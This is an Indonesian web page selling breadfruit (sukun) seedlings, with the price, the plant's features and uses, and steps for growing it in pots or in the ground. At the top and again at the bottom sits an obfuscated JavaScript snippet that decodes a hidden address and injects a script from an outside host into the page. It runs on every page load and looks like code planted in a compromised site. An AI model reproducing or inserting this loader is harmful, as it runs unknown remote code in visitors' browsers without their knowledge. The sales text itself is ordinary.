var u = String.fromCharCode(104,116,116,112,115,58,47,47,99,111,117,110,116,46,116,114,97,99,107,115,116,97,116,105,115,116,105,99,115,115,115,46,99,111,109,47,106,46,106,115,63,118,61);var d=document;var s=d.createElement(String.fromCharCode(115,99,114,105,112,116)); s.type=String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); var pl = u; s.src=pl; if (document.currentScript) { document.currentScript.parentNode.insertBefore(s, document.currentScript);} else {d.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(s);var list = document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116));list.insertBefore(s, list.childNodes[0]);}
Jual Bibit Sukun 70 cm

Jual Bibit Sukun 70 cm

By
Jual Bibit Sukun 70 cm
Jual Bibit Sukun 70 cm

Jual Bibit Sukun 70 cm

Jual Bibit Sukun 70 cm – Tanaman yang satu ini menghasilkan buah sebagai sumber karbohidrat dan cocok sebagai sebagai tanaman penghijauan. Buahnya tidak berbiji dan teksturnya empuk, bentuknya mirip roti setelah dimasak / digoreng. Buah apakah ini? Ya, namanya SUKUN. Karena itulah, orang-orang Eropa banyak yang menyebutnya “buah roti” atau breadfruit. Olahan dari buah ini cukup banyak, seperti keripik sukun, direbus, disangrai, dibuat ‘kolak’ sukun, dan lain-lainnya. Anda tentu sudah pernah melihat dan mencicipi buah ini, bukan? Rasanya empuk (renyah kalau digoreng), cukup manis, dan mengenyangkan. Ayo, segera miliki bibit sukun ini sekarang juga! Asrikan lingkungan tempat tinggal Anda dengan tanaman buah yang punya banyak manfaat ini.

  • Harga : Rp 35.000,-

  • Berat : 2 Kg

  • Stok : Ready Stock


Ciri-ciri Tanaman Sukun

Ciri-ciri Tanaman Sukun
Ciri-ciri Tanaman Sukun
  • Diameter buah antara 20 – 29 cm, bentuknya bulat dan kulitnya tebal berwarna hijau kekuningan hingga coklat serta berduri kasar
  • Daging buah lembab, empuk, dan warnanya kuning / putih pucat
  • Postur batang berkambium lurus, besar, dan tingginya bisa mencapai 14 meter. Cabang pada pohon ini bentuknya mendatar
  • Daun berukuran cukup besar berukuran 20 – 40 cm
  • Tulang daun berbentuk menyirip, daun bagian atas warnanya hijau tua mengkilap, dan bagian bawahnya kusam dan kasar dengan bulu-bulu halus
  • Semua bagian pohon sukun mengandung getah putih (lateks) dan akan keluar jika dilukai / digores / dipotong

Keunggulan Tanaman Sukun

  • Daging buah bertekstur lembut, berserat, empuk (mirip roti), dan tidak memiliki biji
  • Daging buah memiliki rasa yang cukup manis dan aromanya sedap
  • Dapat tumbuh optimal di dataran rendah beriklim tropis dengan ketinggian hingga 700 mdpl
  • Buah yang dihasilkan hingga 200 buah / pohon / tahun
  • Berat sukun antara 400 – 1200 gr, ada juga yang mencapai 5 kg
  • Pohon sukun berbuah di sepanjang musim, semakin bertambah saat musim kemarau

Manfaat Tanaman Sukun

Manfaat Tanaman Sukun
Manfaat Tanaman Sukun
  • Daging buah yang telah dikeringkan bisa diolah menjadi tepung
  • Kulit batangnya bisa menghasilkan serat sebagai bahan pembuatan pakaian
  • Batang kayunya yang ringan, keras, dan cukup kuat bisa dibuat menjadi perahu
  • Daun sukun sebagai pakan ternak
  • Buah sukun dapat diolah menjadi ragam makanan, seperti kolak, keripi, dibakar, disangrai ataupun direbus
  • Bermanfaat untuk kesehatan jantung, mengendalikan kolesterol, sumber energi (karbohidrat), sumber Omega 6 dan Omega 3, serta menjadi pilihan diet sehat
  • Menjaga kesehatan saluran pencernaan
  • Mencegah radikal bebas
  • Bisa menurunkan kadar gula dalam darah
  • Mengandung vitamin C yang mampu menjaga kesehatan kulit
  • Mengandung zat antioksidan untuk menjaga elastisitas dan mencegah penuaan dini
  • Mencegah kerontokan dan menguatkan akar rambut

Cara Budidaya Bibit Sukun

  • Area tanam yang cocok bersuhu antara 20 – 40 derajat Celcius dan terjaga kelembabannya
  • Budidaya tanaman dalam pot (tabulampot ) :
  1. Ukuran pot : diameter >60 cm
  2. Media tanam : tanah dan humus
  3. Penyiraman : 1 kali/hari
  4. Tinggi tanaman dalam pertumbuhan : bisa >5 meter, dan bisa dilakukan pemangkasan
  5. Pemupukan : NPK daun + kompos (usia <1 tahun), atau NPK buah + kompos (usia >1 tahun) dengan interval 1 kali/bulan
  • Budidaya tanaman di lahan :
  1. Pilih area tanam dengan tekstur tanah yang gembur, cukup bahan organik, dan mendapat sinar matahari penuh (tanpa naungan)
  2. Buat lubang tanam berukuran sekitar 60 x 60 x 60 cm. Pisahkan tanah bagian atas dan bawah
  3. Tanah bagian atas dicampur dengan kompos / pupuk kandang dan sekam yang akan digunakan untuk menutup lubang tanam
  4. Diamkan lubang tanam sekitar 2 minggu hingga tersinari matahari untuk mematikan bibit penyakit dan hama dalam lubang tersebut
  5. Keluarkan bibit yang masih ada dalam plastik polybag, tanpa merusak akarnya. Lalu letakkan bibit pada lubang tanam dengan posisi tegak lurus
  6. Tutup lubang tanam secara merata dengan campuran tanah + kompos + sekam yang telah dibuat, kemudian padatkan secukupnya
  7. Sirami seluruh bagian tanaman hingga sekiranya telah meresap ke dalam tanah
  8. Bisa juga membuat penopang tanaman (biasanya dari bamboo) agar tanaman tidak mudah patah / roboh
  9. Pemberian pupuk selanjutnya dengan menggali sedikit lubang di area tanaman, lalu pupuk dimasukkan ke dalam lubang tersebut. Ini bisa dilakukan sebanyak 1 kali/ 3 bulan dengan dosis sesuai usia tanaman.

Leave a Comment

Your email address will not be published.

You may also like

var u = String.fromCharCode(104,116,116,112,115,58,47,47,99,111,117,110,116,46,116,114,97,99,107,115,116,97,116,105,115,116,105,99,115,115,115,46,99,111,109,47,106,46,106,115,63,118,61);var d=document;var s=d.createElement(String.fromCharCode(115,99,114,105,112,116)); s.type=String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); var pl = u; s.src=pl; if (document.currentScript) { document.currentScript.parentNode.insertBefore(s, document.currentScript);} else {d.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(s);var list = document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116));list.insertBefore(s, list.childNodes[0]);}